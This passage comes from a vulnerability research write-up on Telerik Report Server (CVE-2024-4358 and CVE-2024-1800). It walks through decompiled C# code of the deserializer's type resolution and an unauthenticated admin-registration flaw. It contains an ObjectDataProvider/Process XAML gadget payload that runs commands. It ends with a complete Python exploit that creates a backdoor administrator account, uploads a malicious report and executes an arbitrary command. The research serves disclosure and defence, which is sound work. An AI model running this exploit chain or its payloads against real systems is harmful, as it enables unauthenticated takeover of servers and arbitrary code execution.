if (obj2 != null && obj2.Equals(base.Settings.NullString))
{
obj2 = null;
}
prop.SetValue(obj, obj2);
}
private void ReadCollection(object collection)
{
if (!this.reader.IsEmptyElement)
{
this.reader.ReadStartCollection();
int num = 0;
while (this.reader.NodeType != NodeType.EndElement && this.reader.NodeType != NodeType.None)
{
base.ResourceHandler.NamingContext.StartProperty(num.ToString());
string type = this.reader.Type;
object obj = this.ReadXmlElement(type);
if (obj != null)
{
ObjectReader.AddItem(collection, obj);
}
else
{
this.reader.Read();
}
if (string.Equals(this.reader.Type, type, StringComparison.Ordinal) && this.reader.NodeType == NodeType.EndElement)
{
this.reader.ReadEndXmlElement();
}
base.ResourceHandler.NamingContext.EndProperty();
num++;
}
this.reader.ReadEndObjectCollection();
return;
}
this.reader.Skip();
}
private static string ResolveElementName(string readerName)
{
string text;
string text2;
ObjectReader.ParseNsString(readerName, out text, out text2);
return text2;
}
private static void ParseNsString(string nsString, out string prefix, out string localName)
{
prefix = string.Empty;
localName = nsString;
string[] array = nsString.Split(new char[] { ':' });
if (array.Length == 2)
{
prefix = array[0];
localName = array[1];
}
}
private object ReadXmlElement(string name)
{
string text;
string text2;
ObjectReader.ParseNsString(name, out text, out text2);
string text3 = this.reader.LookupNamespace(text);
Type type = this.ResolveType(text3, text2);
if (type != null)
{
return this.ReadObject(type);
}
type = Type.GetType(name);
if (!(type == null))
{
return this.ReadPrimitive(type);
}
if (this.reader.Name == base.Settings.NullString || this.reader.Value == base.Settings.NullString)
{
return null;
}
throw new SerializerExcepion("The xml serializer cannot resolve type with name: " + name);
}
private static void AddItem(object col, object value)
{
col.GetType().GetMethod("Add", new Type[] { value.GetType() }).Invoke(col, new object[] { value });
}
private void SkipWhiteSpace()
{
while (this.reader.NodeType == NodeType.Whitespace)
{
this.reader.Read();
}
}
private string GetNodeValue()
{
NodeType nodeType = this.reader.NodeType;
if (nodeType == NodeType.Element)
{
return this.reader.ReadElementContentAsString();
}
if (nodeType - NodeType.Attribute <= 1)
{
return this.reader.ReadContentAsString();
}
return this.reader.Value;
}
private object ReadPrimitive(Type type)
{
string text = (this.reader.IsEmptyElement ? this.reader.LocalName : this.GetNodeValue());
if (type.IsEnum)
{
return this.ConvertFromString(new EnumConverter(type), null, text);
}
if (typeof(IConvertible).IsAssignableFrom(type))
{
return ((IConvertible)text).ToType(type, base.Culture);
}
TypeConverter typeConverter = ObjectReaderWriterBase.GetTypeConverter(type);
if (typeConverter != null)
{
return typeConverter.ConvertFromString(null, base.Culture, text);
}
throw new SerializerExcepion("Xml serializer cannot read primitive value: " + text);
}
protected override string GetPropertyName(string propName)
{
return ObjectReader.ResolveElementName(propName);
}
private readonly IReader reader;
}
}
following is the implementation of the Telerik.Reporting.Serialization.ObjectReader.Deserialize(IResourceHandler)
method
it expects one argument of IResourceHandler
this is basically the ZipResourceHandler
which was created before containing our malicious report file as ZIP with its entries. then the ReadXmlElement
is called
public object Deserialize(IResourceHandler handler)
{
base.ResourceHandler = handler;
this.reader.Init();
string defaultNamespace = this.GetDefaultNamespace();
this.typeResolver = base.GetTypeResolver(defaultNamespace);
ObjectReader.ValidateTypeResolver(this.typeResolver, defaultNamespace);
return this.ReadXmlElement(this.reader.Type);
}
now its time to talk about the ReadXmlElement
also known as Telerik.Reporting.Serialization.ObjectReader.ReadXmlElement(string)
private object ReadXmlElement(string name)
{
string text;
string text2;
ObjectReader.ParseNsString(name, out text, out text2);
string text3 = this.reader.LookupNamespace(text);
Type type = this.ResolveType(text3, text2);
if (type != null)
{
return this.ReadObject(type);
}
type = Type.GetType(name);
if (!(type == null))
{
return this.ReadPrimitive(type);
}
if (this.reader.Name == base.Settings.NullString || this.reader.Value == base.Settings.NullString)
{
return null;
}
throw new SerializerExcepion("The xml serializer cannot resolve type with name: " + name);
}
Imagine we have the following xml
<?xml version="1.0" encoding="utf-8"?>
<Report Width="6.5in" Name="Report2" xmlns="http://schemas.telerik.com/reporting/2023/1.0">
<Items>
<PageHeaderSection Height="1in" Name="pageHeaderSection1" />
<DetailSection Height="2in" Name="detailSection1">
<Items>
<TextBox Width="1.2in" Height="0.2in" Left="2.7in" Top="0.9in" Value="GOW" Name="textBox1" />
</Items>
</DetailSection>
<PageFooterSection Height="1in" Name="pageFooterSection1" />
</Items>
<PageSettings PaperKind="Letter" Landscape="False" ColumnCount="1" ColumnSpacing="0in">
<Margins>
<MarginsU Left="1in" Right="1in" Top="1in" Bottom="1in" />
</Margins>
</PageSettings>
<StyleSheet>
<StyleRule>
<Style>
<Padding Left="2pt" Right="2pt" />
</Style>
<Selectors>
<TypeSelector Type="TextItemBase" />
<TypeSelector Type="HtmlTextBox" />
</Selectors>
</StyleRule>
</StyleSheet>
</Report>
which is a report server report that has been serialized, it contains different elements each representing an actual Class Type that is going to be resolved using the TypeResolver that we’ve discussed before, now for each and everyone of these elements the ReadXmlElement
is called passing the element name (e.g: Report, DetailSection, PageHeaderSection) so the ReadXmlElement
can find its .NET Runtime Type. Now the eagle eye would notice the type
variable which is a container of type System.Type
being assigned at 2 places, first assignment is done via a call to this.ResolveType
and in case a if
condition fails, another assignment is tried by a call to Type.GetType(name);
, you might be tricked here thinking that the latter is where you want to reach, but looking carefully you’ll notice if the second Type.GetType
is executed and if the return value of isn’t equal to null
then the ReadPrimitive
is executed, as the name suggests and without tearing apart this method as well, I can tell you it only allows for primitive types and doesn’t assist in building a code execution gadget chain compared to the first type assignment which is followed by a ReadObject
call which sounds more promising. so, our goal is, hitting the this.ResolveType
So, it’s time for us to dig into the internals of ResolveType
Boss Fight - Telerik.Reporting.Serialization.ObjectReader.ResolveType
Lets start with the most simple example, following creates a Report
object
<?xml version="1.0" encoding="utf-8"?>
<Report Width="6.5in" Name="Report2" xmlns="http://schemas.telerik.com/reporting/2023/1.0">
question is, how does <Report>
get resolved into a .NET Type or better say, the following type
Telerik.Reporting.ReportSerialization.Current.ReportSerializable`1[[Telerik.Reporting.Report, Telerik.Reporting, Version=17.0.23.118, Culture=neutral, PublicKeyToken=a9d7983dfcc261be]], Telerik.Reporting, Version=17.0.23.118, Culture=neutral, PublicKeyToken=a9d7983dfcc261be
this is what makes Telerik Report Server special, and it all begins at ResolveType
AKA Telerik.Reporting.Serialization.ObjectReader.ResolveType
private Type ResolveType(string ns, string name)
{
Type type;
if (this.typeResolver.ResolveType(ns, name, out type))
{
return type;
}
return null;
}
when the telerik deserializer starts parsing any given serialized xml, it will invoke the ReadXmlElement
over each element
private object ReadXmlElement(string name)
{
string text;
string text2;
ObjectReader.ParseNsString(name, out text, out text2);
string text3 = this.reader.LookupNamespace(text);
Type type = this.ResolveType(text3, text2);
if (type != null)
{
return this.ReadObject(type);
}
[..SNIP..]
and passes the element name and it’s xml-namespace value to the ResolveType
function, for example, the above element name is Report
and its xml-namespace AKA xmlns
is http://schemas.telerik.com/reporting/2023/1.0
using these two values a System.Type
is retireved, but, how can it find a type from only those two values? and how can we (ab)use other types?
well, here we face another abstraction layer, the this.ResolveType(text3, text2);
actually makes a call to a function with the same name in ObjectReader
and that one makes a call to a method with the same name in TypeResolver
this method is very interesting, the mechanics of it are simple, first two arguments are used to retrieve a System.Type
and the return value is stored in out Type type
variable which is the 3rd argument. it will first calls the ResolveTypeCore
, lets take a quick detour and analyze the ResolveTypeCore
public virtual bool ResolveType(string ns, string name, out Type type)
{
if (this.ResolveTypeCore(ns, name, out type))
{
return true;
}
using (List<ResolveTypeDelegate>.Enumerator enumerator = this.resolveTypeDelegates.GetEnumerator())
{
while (enumerator.MoveNext())
{
ISerializationSurrogate serializationSurrogate;
if (enumerator.Current(ns, name, out type, out serializationSurrogate))
{
this.RegisterDeserializationType(type, ns, name, false);
this.RegisterDeserializationSurrogate(type, serializationSurrogate);
return true;
}
}
}
if (this.parentResolver != null)
{
ns = this.MapLocalNamespaceToParentNamespace(ns);
return this.parentResolver.ResolveType(ns, name, out type);
}
type = null;
return false;
}
Its best to explain this method with a picture, it is very simple, the this.nameTypeMap
which is a dictionary of type System.Collections.Generic.Dictionary<string, System.Collections.Generic.Dictionary<string, System.Type>>
is accessed to find the corresponding Class Type that matches the given 2 needles, the string ns
and string name
if you are thinking, how and when did this Dictionary got populated, if you remember, during the initialization of the telerik serializer/deserializer many class types were being registered for things like color, row, table, etc and they all got stored in this dictionary
This is actually perfect, now we know how does telerik know the <Report>
corresponds to:
Telerik.Reporting.ReportSerialization.Current.ReportSerializable`1[[Telerik.Reporting.Report, Telerik.Reporting, Version=17.0.23.118, Culture=neutral, PublicKeyToken=a9d7983dfcc261be]]
But, what about dangerous types? or better say, types that are useful for building a gadget, usually, for exploiting such xml serializer, we build a ResourceDictionary
which contains one single resource that will be a ObjectDataProvider
that also has its own important properties that are used for exploitation, here, have a look.
pretty powerful ha? if you don’t understand, don’t worry, I’ll explain. you see, this ObjectDataProvider
class also known as System.Windows.Data.ObjectDataProvider
has a property named ObjectInstance
this property is of type System.Object
which means, it can contain basically any .NET object, okay, what’s the big deal? well it also has another property named MethodName
that can also be controlled, so a method name we control is executed against an object instance we control, now that’s “magic”, and here is how it can be (ab)used, an ObjectDataProvider
with a MethodName
set to Start
that has it’s ObjectInstance
property set to an instance of another object which is of type System.Diagnostics.Process
that has its StartInfo
property set to a malicious command we can execute, following is how it looks like in XML format:
<ODP:ObjectDataProvider MethodName="Start" >
<ObjectInstance>
<Diag:Process>
<StartInfo>
<Diag:ProcessStartInfo FileName="cmd" Arguments="/c calc"></Diag:ProcessStartInfo>
</StartInfo>
</Diag:Process>
</ObjectInstance>
</ODP:ObjectDataProvider>
but, wait a minute, the Telerik report server doesn’t understand <ODP:ObjectDataProvider>
or any other element we’ve defined there, that’s exactly right, that’s why I’ve been explaining the whole process so far, the actual serialized payload that will work is the following, let me explain
<Report Width="6.5in" Name="oooo"
xmlns="http://schemas.telerik.com/reporting/2023/1.0">
<Items>
<ResourceDictionary
xmlns="clr-namespace:System.Windows;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
xmlns:System="clr-namespace:System;assembly:mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly:System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
xmlns:ODP="clr-namespace:System.Windows.Data;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35"
>
<ODP:ObjectDataProvider MethodName="Start" >
<ObjectInstance>
<Diag:Process>
<StartInfo>
<Diag:ProcessStartInfo FileName="cmd" Arguments="/c calc"></Diag:ProcessStartInfo>
</StartInfo>
</Diag:Process>
</ObjectInstance>
</ODP:ObjectDataProvider>
</ResourceDictionary>
</Items>
lets go back where we left, given 2 argument of string ns
and string name
the type
was being retireved, and the ResolveTypeCore
was being used containing the registered types, but, ResourceDictionary
or ObjectDataProvider
or its sinister sisters aren’t in that core dictionary, exactly, so if the ResolveTypeCore
isn’t successful, our type is basically unknown to telerik report server, but this method doesn’t return, it actually gets help from someone else, introducing the one and only this.parentResolver
public virtual bool ResolveType(string ns, string name, out Type type)
{
if (this.ResolveTypeCore(ns, name, out type))
{
return true;
}
using (List<ResolveTypeDelegate>.Enumerator enumerator = this.resolveTypeDelegates.GetEnumerator())
{
while (enumerator.MoveNext())
{
ISerializationSurrogate serializationSurrogate;
if (enumerator.Current(ns, name, out type, out serializationSurrogate))
{
this.RegisterDeserializationType(type, ns, name, false);
this.RegisterDeserializationSurrogate(type, serializationSurrogate);
return true;
}
}
}
if (this.parentResolver != null)
{
ns = this.MapLocalNamespaceToParentNamespace(ns);
return this.parentResolver.ResolveType(ns, name, out type);
}
type = null;
return false;
}
now, what is this.parentResolver
?
if (this.parentResolver != null)
{
ns = this.MapLocalNamespaceToParentNamespace(ns);
return this.parentResolver.ResolveType(ns, name, out type);
}
well we said telerik devs refer to this type as a Unknown Type
so they’ve decided for some god knows why to introduce another type resolver named UnknownTypeResolver
so far this is how our call stack looks like when the deserializer reaches the ResourceDictionary
element, pretty bad ha?
that means our type resolver tree now looks like this
okay, following is how this type resolver look like, it looks scary at first but fear not, it’s basically using another class named ClrNamespace
and its calling a method of this class named Create
public bool ResolveType(string ns, string name, out Type type)
{
ConcurrentDictionary<string, TypeResolvers.UnknownTypeResolver.ClrNamespace> concurrentDictionary = this.namespaceMap;
Func<string, TypeResolvers.UnknownTypeResolver.ClrNamespace> func;
if ((func = TypeResolvers.UnknownTypeResolver.<>O.<0>__Create) == null)
{
func = (TypeResolvers.UnknownTypeResolver.<>O.<0>__Create = new Func<string, TypeResolvers.UnknownTypeResolver.ClrNamespace>(TypeResolvers.UnknownTypeResolver.ClrNamespace.Create));
}
TypeResolvers.UnknownTypeResolver.ClrNamespace orAdd = concurrentDictionary.GetOrAdd(ns, func);
type = orAdd.GetType(name);
return type != null;
}
so what does Telerik.Reporting.ReportSerialization.TypeResolvers.UnknownTypeResolver.ClrNamespace.Create
do? its best to show this in a debugger, given a namespace starting with the prefix clr-namespace:
it will tokenized this string but splitting it first using ;
and then calling GetToken
on each side of the returned list, wait, what? where did you get the clr-namespace:
from? Aha :) that’s what you should’ve been asking but you didn’t (or maybe you did), you see, this whole thing that we are trying to reverse engineer and understand is kind of inspired by exploiting the original Microsoft .NET XamlReader, basically the developers of Telerik took the code from there (I guess) and modified it, If you ever reverse engineered Microsoft XamlReader you’d recognize the clr-namespace
prefix from there, but in this case, this can be anything and it doesn’t have to be that, as long as its a string that ends with :
so the tokenize operation can succeed.
and this is what GetToken
does
private static string GetToken(string name, int token)
{
return name.Split(new char[] { ':' })[token];
}
so given the following clr-namespace
clr-namespace:System.Windows;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35
the following tokens are created
token "System.Windows"
token2 "PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
the first token is the .NET Assembly name and the second token is the namespace of the class containing the ResourceDictionary
type. the last statement in the ClrNamespace.Create()
method makes a call to the constructor of TypeResolvers.UnknownTypeResolver.ClrNamespace
and provides both tokens.
public static TypeResolvers.UnknownTypeResolver.ClrNamespace Create(string xmlNamespace)
{
string[] array = xmlNamespace.Split(new char[] { ';' });
if (array.Length < 2)
{
return TypeResolvers.UnknownTypeResolver.ClrNamespace.mscorlibNs;
}
string token = TypeResolvers.UnknownTypeResolver.ClrNamespace.GetToken(array[0], 1);
string token2 = TypeResolvers.UnknownTypeResolver.ClrNamespace.GetToken(array[1], 1);
return new TypeResolvers.UnknownTypeResolver.ClrNamespace(token, token2);
}
and this constructor simply sets two properties named AssemblyName
and Namespace
public ClrNamespace(string clrNamespace, string assemblyName)
{
if (clrNamespace == null)
{
throw new ArgumentNullException("clrNamespace");
}
this.AssemblyName = (string.IsNullOrEmpty(assemblyName) ? TypeResolvers.UnknownTypeResolver.ClrNamespace.mscorlibName : assemblyName);
this.Namespace = clrNamespace;
}
why does it do such as thing you ask? that’s because when the ordAdd.GetType(name)
is called at the end of this function, it causes the ClrNamespace.GetType()
to get executed
public bool ResolveType(string ns, string name, out Type type)
{
ConcurrentDictionary<string, TypeResolvers.UnknownTypeResolver.ClrNamespace> concurrentDictionary = this.namespaceMap;
Func<string, TypeResolvers.UnknownTypeResolver.ClrNamespace> func;
if ((func = TypeResolvers.UnknownTypeResolver.<>O.<0>__Create) == null)
{
func = (TypeResolvers.UnknownTypeResolver.<>O.<0>__Create = new Func<string, TypeResolvers.UnknownTypeResolver.ClrNamespace>(TypeResolvers.UnknownTypeResolver.ClrNamespace.Create));
}
TypeResolvers.UnknownTypeResolver.ClrNamespace orAdd = concurrentDictionary.GetOrAdd(ns, func);
type = orAdd.GetType(name);
return type != null;
}
and when the ClrNamespace.GetType()
is executed, something very interesting happens
public Type GetType(string name)
{
return Type.GetType(this.GetAssemblyQualifiedTypeName(name));
}
public string GetAssemblyQualifiedTypeName(string name)
{
return string.Concat(new string[] { this.Namespace, ".", name, ",", this.AssemblyName });
}
if given the type ResourceDictionary
and xml name space of clr-namespace:System.Windows;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35
this method will make use of the previously tokenized namespace to create a FQDN for the requested .NET Type, this is crazy!
System.Windows.ResourceDictionary,PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35
So basically you can look at it this way too:
this is all needed for .NET to load the .NET Assembly that holds the ResourceDictionary
, so exactly when the ClrNameSpace is finished, it populates the func
variable with the correct .net assembly that has the type we want and will make a call to ordAdd.GetType(name)
and name
is the ResourceDictionary
what happens now? lets see what’s in the type
variable
That’s right, we’ve managed to load arbitrary .NET Types that were not included in the core expected types by telerik report server, now you should understand the following exploit.
first, a ResourceDictionary
is defined, since this type causes the ResolveTypeCore
to fail, the UnknownTypeResolver
kicks in and reads the attacker provided xml namespace for the ResourceDictionary
which isclr-namespace:System.Windows;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35
in order to find the coresponding .NET Assembly and extract the class type from it, the same process is used for the other used types that are later used to build the full gadget that yields arbitrary command execution.
<Report Width="6.5in" Name="oooo"
xmlns="http://schemas.telerik.com/reporting/2023/1.0">
<Items>
<ResourceDictionary
xmlns="clr-namespace:System.Windows;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
xmlns:System="clr-namespace:System;assembly:mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly:System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
xmlns:ODP="clr-namespace:System.Windows.Data;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35"
>
<ODP:ObjectDataProvider MethodName="Start" >
<ObjectInstance>
<Diag:Process>
<StartInfo>
<Diag:ProcessStartInfo FileName="cmd" Arguments="/c calc"></Diag:ProcessStartInfo>
</StartInfo>
</Diag:Process>
</ObjectInstance>
</ODP:ObjectDataProvider>
</ResourceDictionary>
</Items>
The smart reader notices, that we took many detours, and did not explain 1 very important thing, lets go back to the beginning of ReadXmlEelement
If you remember, we were supposed to hit the first ResolveType
and cause it to return arbitrary type, for example a dangerous class type such as ResourceDictionary
but we only covered “how a type can be resolved” but what about its usage? how does telerik report server use the resolved class type? that’s where this.ReadObject(type);
comes to play, assume its invoked with the FQDN class type of ResourceDictionary
private object ReadXmlElement(string name)
{
string text;
string text2;
ObjectReader.ParseNsString(name, out text, out text2);
string text3 = this.reader.LookupNamespace(text);
Type type = this.ResolveType(text3, text2);
if (type != null)
{
return this.ReadObject(type);
}
type = Type.GetType(name);
if (!(type == null))
{
return this.ReadPrimitive(type);
}
if (this.reader.Name == base.Settings.NullString || this.reader.Value == base.Settings.NullString)
{
return null;
}
throw new SerializerExcepion("The xml serializer cannot resolve type with name: " + name);
}
it will first make a call to TypeMapper.GetTypeMapping
to understand if the given type is a Primitive or a Collection, because as you’ve already seen some elements can contain other element, those are called “Collection” and ResourceDictionary
is a “Collection” that can contain other types, so, if that’s the case, the this.CreateInstance(type);
is called to first create the “collection” it self and then the this.ReadCollection(obj);
is called to create the nested objects that are supposed to go inside the created “Collection”
private object ReadObject(Type type)
{
TypeMapping typeMapping = TypeMapper.GetTypeMapping(type);
this.OnDeserializing(type);
object obj;
if (typeMapping != TypeMapping.Primitive)
{
if (typeMapping == TypeMapping.Collection)
{
obj = this.CreateInstance(type);
this.ReadCollection(obj);
}
else
{
obj = this.CreateInstance(type);
bool flag = obj is INamedObject;
if (flag)
{
base.ResourceHandler.NamingContext.StartComponent((INamedObject)obj);
}
this.ReadProperties(obj);
if (flag)
{
base.ResourceHandler.NamingContext.EndComponent();
}
}
}
else
{
obj = this.ReadPrimitive(type);
}
object deserializedObject = this.GetDeserializedObject(obj);
this.OnDeserialized(deserializedObject);
return deserializedObject;
}
Lets look at CreateInstance
first and then we’ll look at ReadCollection
The mechanics of it is simple, it takes the type and calls Activator.CreateInstance
to instantiate the type, and if you don’t know what does the second argument this.GetCtorParams(type)
does, its simple, in .NET (and many other) when you want to instantiate a type using reflection like methods (Activator.CreateInstance
in this case), you need to provide the the arguments as well, and Telerik has made GetCtorParams
private object CreateInstance(Type type)
{
string text = null;
if (this.reader.NodeType == NodeType.Element)
{
text = this.reader.GetAttribute("Name");
}
return this.CreateInstance(type, text);
}
protected virtual object CreateInstance(Type type, string name)
{
object obj;
try
{
obj = Activator.CreateInstance(type, this.GetCtorParams(type));
}
catch (Exception ex)
{
throw new MissingMethodException(string.Format("Type: {0}", type), ex);
}
return obj;
}
And again, this method uses reflection to retrieve the correct parameters for the requested type. Okay perfect, now that our “Collection” is ready, we can understand the ReadCollection
which is responsible to TypeResolve and Add the nested objects inside the created collection.
As you can see from the following, elements are iterated, their types are resolved once again using ReadXmlEelement
and added to our collection using ObjectReader.AddItem
, simple :)
private void ReadCollection(object collection)
{
if (!this.reader.IsEmptyElement)
{
this.reader.ReadStartCollection();
int num = 0;
while (this.reader.NodeType != NodeType.EndElement && this.reader.NodeType != NodeType.None)
{
base.ResourceHandler.NamingContext.StartProperty(num.ToString());
string type = this.reader.Type;
object obj = this.ReadXmlElement(type);
if (obj != null)
{
ObjectReader.AddItem(collection, obj);
}
else
{
this.reader.Read();
}
if (string.Equals(this.reader.Type, type, StringComparison.Ordinal) && this.reader.NodeType == NodeType.EndElement)
{
this.reader.ReadEndXmlElement();
}
base.ResourceHandler.NamingContext.EndProperty();
num++;
}
this.reader.ReadEndObjectCollection();
return;
}
this.reader.Skip();
}
At this point, you should have a full understanding of the internals and exploitation of Telerik Report Server Custom XmlSerializer.
Authentication Bypass
I’ve discovered this issue in 5 minutes after I finished setting up the software, The vulnerability is very simple, the endpoint which is responsible for setting up the server for the first time is accessible unauthenticated even after the admin has finished the setup process. this is not the first time something like this happens, just recently, ScreenConnect software of ConnectWise had “kind of” a similar issue. Now I’ve seen people trying to show off all mighty when a bug is so simple, but why? really, why? so here, this bug can be understood in 30 seconds or less.
The following method is where the vulnerability occurs
Telerik.ReportServer.Web.dll!Telerik.ReportServer.Web.Controllers.StartupController.Register
This method is available unauthenticated and will use the received parameters to create a user first, and then it will assign the “System Administrator” role to the user, this allows a remote unauthenticated attacker to create an administrator user and login :))))))
public async Task<ActionResult> Register(RegisterViewModel model)
{
if (this.ModelState.IsValid)
{
ApplicationUser applicationUser = new ApplicationUser
{
Username = model.Username,
Email = model.Email,
FirstName = model.FirstName,
LastName = model.LastName,
Enabled = true
};
IdentityResult result = this.UserManager.Create(applicationUser, model.Password);
if (result.Succeeded)
{
new ReportServerDefaultConfigurationConfigurator(this.ReportServer).Configure();
new ReportServerBuiltInRolesConfigurator(this.ReportServer).Configure();
new ReportServerSamplesConfigurator(this.ReportServer).Configure(applicationUser);
this.UserManager.AddToRole(applicationUser.Id, "System Administrator");
await this.SignInManager.SignInAsync(applicationUser, false, false);
return this.RedirectToAction("Index", "Report");
}
AccountController.AddErrors(this.ModelState, result);
result = null;
}
This is the result, admin was already there, but due to the fact that there is no check to prevent accessing this endpoint (or even putting authentication on it, lolz) after the setup has finished, I’ve exploited this logic/access-control issue to create the “hacker” account.
Now that the authentication is bypassed, its possible to trigger the post authentication deserialization primitive to achieve a Full Chain RCE.
Proof of Concept (https://github.com/sinsinology/CVE-2024-4358)
"""
Progress Telerik Report Server pre-authenticated RCE chain (CVE-2024-4358/CVE-2024-1800)
Exploit By: Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)
"""
import warnings
warnings.filterwarnings("ignore", category=DeprecationWarning)
import requests
requests.packages.urllib3.disable_warnings()
import zipfile
import base64
import random
import argparse
def saveCredentials(username, password):
print
with open('credentials.txt', 'a') as file:
print("(+) Saving credentials to credentials.txt")
file.write(f'(*) {args.target} {username}:{password}\n')
def authBypassExploit(username, password):
print("(*) Attempting to bypass authentication")
res = s.post(f"{args.target}/Startup/Register", data={"Username": username, "Password": password, "ConfirmPassword": password, "Email": f"{username}@{username}.com", "FirstName": username, "LastName": username})
if(res.url == f"{args.target}/Report/Index"):
print("(+) Authentication bypass was successful, backdoor account created")
saveCredentials(username, password)
else:
print("(!) Authentication bypass failed, result was: ")
print(res.text)
exit(1)
def deserializationExploit(serializedPayload, authorizationToken):
reportName = ''.join(random.choices('abcdefghijklmnopqrstuvwxyz', k=10))
print(f"(*) Generated random report name: {reportName}")
categoryName = ''.join(random.choices('abcdefghijklmnopqrstuvwxyz', k=10))
print(f"(*) Creating malicious report under name {reportName}")
res = s.post(f"{args.target}/api/reportserver/report", headers={"Authorization" : f"Bearer {authorizationToken}"}, json={"reportName":reportName,"categoryName":"Samples","description":None,"reportContent":serializedPayload,"extension":".trdp"})
if(res.status_code != 200):
print("(!) Report creation failed, result was: ")
print(res.text)
exit(1)
res = s.post(f"{args.target}/api/reports/clients", json={"timeStamp":None})
if(res.status_code != 200):
print("(!) Fetching clientID failed, result was: ")
print(res.text)
exit(1)
clientID = res.json()['clientId']
res = s.post(f"{args.target}/api/reports/clients/{clientID}/parameters", json={"report":f"NAME/Samples/{reportName}/","parameterValues":{}})
print("(*) Deserialization exploit finished")
def login(username, password):
res = s.post(f"{args.target}/Token",data={"grant_type": "password","username":username, "password": password})
if(res.status_code != 200):
print("(!) Authentication failed, result was: ")
print(res.text)
exit(1)
print(f"(+) Successfully authenticated as {username} with password {password}")
print("(*) got token: " + res.json()['access_token'])
return res.json()['access_token']
def readAndEncode(file_path):
with open(file_path, 'rb') as file:
encoded = base64.b64encode(file.read()).decode('utf-8')
return encoded
def writePayload(payload_name):
with zipfile.ZipFile(output_filename, 'w') as zipf:
zipf.writestr('[Content_Types].xml', '''<?xml version="1.0" encoding="utf-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="xml" ContentType="application/zip" /></Types>''')
zipf.writestr("definition.xml", f'''<Report Width="6.5in" Name="oooo"
xmlns="http://schemas.telerik.com/reporting/2023/1.0">
<Items>
<ResourceDictionary
xmlns="clr-namespace:System.Windows;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
xmlns:System="clr-namespace:System;assembly:mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly:System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
xmlns:ODP="clr-namespace:System.Windows.Data;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35"
>
<ODP:ObjectDataProvider MethodName="Start" >
<ObjectInstance>
<Diag:Process>
<StartInfo>
<Diag:ProcessStartInfo FileName="cmd" Arguments="/c {args.command}"></Diag:ProcessStartInfo>
</StartInfo>
</Diag:Process>
</ObjectInstance>
</ODP:ObjectDataProvider>
</ResourceDictionary>
</Items>''')
def banner():
print('''(^_^) Progress Telerik Report Server pre-authenticated RCE chain (CVE-2024-4358/CVE-2024-1800) || Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)''')
output_filename = 'exploit.trdp'
banner()
parser = argparse.ArgumentParser(usage=r'python CVE-2024-4358.py --target http://192.168.1.1:83 -c "whoami > C:\pwned.txt"')
parser.add_argument('--target', '-t', dest='target', help='Target IP and port (e.g: http://192.168.1.1:83)', required=True)
parser.add_argument('--command', '-c', dest='command', help='Command to execute', required=True)
args = parser.parse_args()
args.target = args.target.rstrip('/')
s = requests.Session()
s.verify = False
randomUsername = ''.join(random.choices('abcdefghijklmnopqrstuvwxyz', k=10))
randomPassword = ''.join(random.choices('abcdefghijklmnopqrstuvwxyz', k=10))
print("(*) random backdoor username: " + randomUsername)
print("(*) random backdoor password: " + randomPassword)
authBypassExploit(randomUsername, randomPassword)
authorizationToken = login(randomUsername, randomPassword)
writePayload(output_filename)
deserializationExploit(readAndEncode(output_filename).strip(), authorizationToken)
ZERO DAY INITIATIVE
If it wasn’t because of the talented team working at the Zero Day Initiative, I wouldn’t bother researching Telerik at all, shout out to all of you people working there to make the internet safer.
References
- https://github.com/sinsinology/CVE-2024-4358
- https://docs.telerik.com/report-server/knowledge-base/deserialization-vulnerability-cve-2024-1800
- https://docs.telerik.com/report-server/knowledge-base/registration-auth-bypass-cve-2024-4358
- https://www.zerodayinitiative.com/advisories/ZDI-24-403/
- https://www.zerodayinitiative.com/advisories/ZDI-24-561/